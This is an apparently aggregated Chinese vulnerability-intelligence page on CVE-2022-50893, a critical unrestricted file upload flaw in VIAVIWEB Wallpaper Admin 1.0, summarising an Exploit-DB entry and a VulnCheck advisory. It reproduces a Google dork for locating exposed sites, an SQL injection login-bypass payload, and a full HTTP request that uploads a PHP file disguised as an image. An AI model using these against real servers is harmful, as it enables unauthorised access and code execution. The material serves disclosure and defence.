一、 漏洞 CVE-2022-50893 基础信息

                                        # VIAVIWEB 壁纸管理代码执行漏洞

N/A
                                        

二、漏洞 CVE-2022-50893 的公开POC

三、漏洞 CVE-2022-50893 的情报信息

• https://www.viaviweb.comproduct

• 标题： VIAVIWEB Wallpaper Admin 1.0 - Multiple Vulnerabilities - PHP webapps Exploit -- 🔗来源链接

  标签：exploit

  神龙速读：

                                          ## 关键漏洞信息
  
  - **EDB-ID:** 51033
  - **CVE:** N/A
  - **Author:** EDD13MORA
  - **Type:** WEBAPPS
  - **Platform:** PHP
  - **Date:** 2023-03-22
  - **Vulnerable App:** VIAVIWEB Wallpaper Admin 1.0
  
  ## 漏洞详情
  
  - **Exploit Title:** VIAVIWEB Wallpaper Admin 1.0 - Multiple Vulnerabilities
  - **Google Dork:** intext:"Wallpaper Admin" "LOGIN" "password" "Username"
  - **Date:** 18/09/2022
  - **Exploit Author:** Edd13Mora
  - **Vendor Homepage:** www.viaviweb.com
  - **Version:** N/A
  - **Tested on:** Windows 11 - Kali Linux
  
  ### 漏洞描述
  
  - **SQL Injection on the Login Page**
    - `payload --> admin' or 1=1-- -`
  
  ### Proof of Concept (POC)
  
  ```http
  POST /hd_wallpaper/add_gallery_image.php?add=yes HTTP/2
  Host: http://googlezik.freehostia.com
  Cookie: _octo=GH1.1.993736861.1663458698; PHPSESSID=qh3c29sbjr009jd8oraed4o52
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data; boundary=--------------------------33893919268150571572221367848
  Content-Length: 467
  Origin: http://googlezik.freehostia.com
  Referer: http://googlezik.freehostia.com/hd_wallpaper/add_gallery_image.php?add=yes
  Upgrade-Insecure-Requests: 1
  Sec-Fetch-Dest: document
  Sec-Fetch-Mode: navigate
  Sec-Fetch-Site: same-origin
  Sec-Fetch-User: ?1
  Te: trailers
  
  --------------------------33893919268150571572221367848
  Content-Disposition: form-data; name="category_id"
  
  1
  --------------------------33893919268150571572221367848
  Content-Disposition: form-data; name="image[]"; filename="poc.php"
  Content-Type: image/png
  
  <?php phpinfo(); ?>
  --------------------------33893919268150571572221367848
  Content-Disposition: form-data; name="submit"
  
  --------------------------33893919268150571572221367848--
  ```
  
  ### 上传文件位置
  
  - `http://localhost/PAth-Where-Script-Installed/categories/`
                                          

  

• 标题： VIAVIWEB Wallpaper Admin 1.0 - Code Execution via Image Upload | Advisories | VulnCheck -- 🔗来源链接

  标签：third-party-advisory

  神龙速读：

                                          ### 关键漏洞信息
  
  - **漏洞名称**: VIAVIWEB Wallpaper Admin 1.0 - Code Execution via Image Upload
  - **严重性**: Critical
  - **发布日期**: January 13, 2026
  - **影响版本**: VIAVIWEB Wallpaper Admin 1.0
  - **CVE编号**: CVE-2022-50893
  - **CWE编号**: CWE-434 Unrestricted Upload of File with Dangerous Type
  - **CVSS评分**: 9.8/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
  - **参考链接**:
      - ExploitDB-51033
      - Vendor Homepage
  - **报告者**: [Edd13Mora]
  - **漏洞描述**: VIAVIWEB Wallpaper Admin 1.0 存在一个未经身份验证的远程代码执行漏洞，在图像上传功能中。攻击者可以通过 add_gallery_image.php 端点上传恶意 PHP 文件来在服务器上执行任意代码。
                                          

  
• https://nvd.nist.gov/vuln/detail/CVE-2022-50893

四、漏洞 CVE-2022-50893 的评论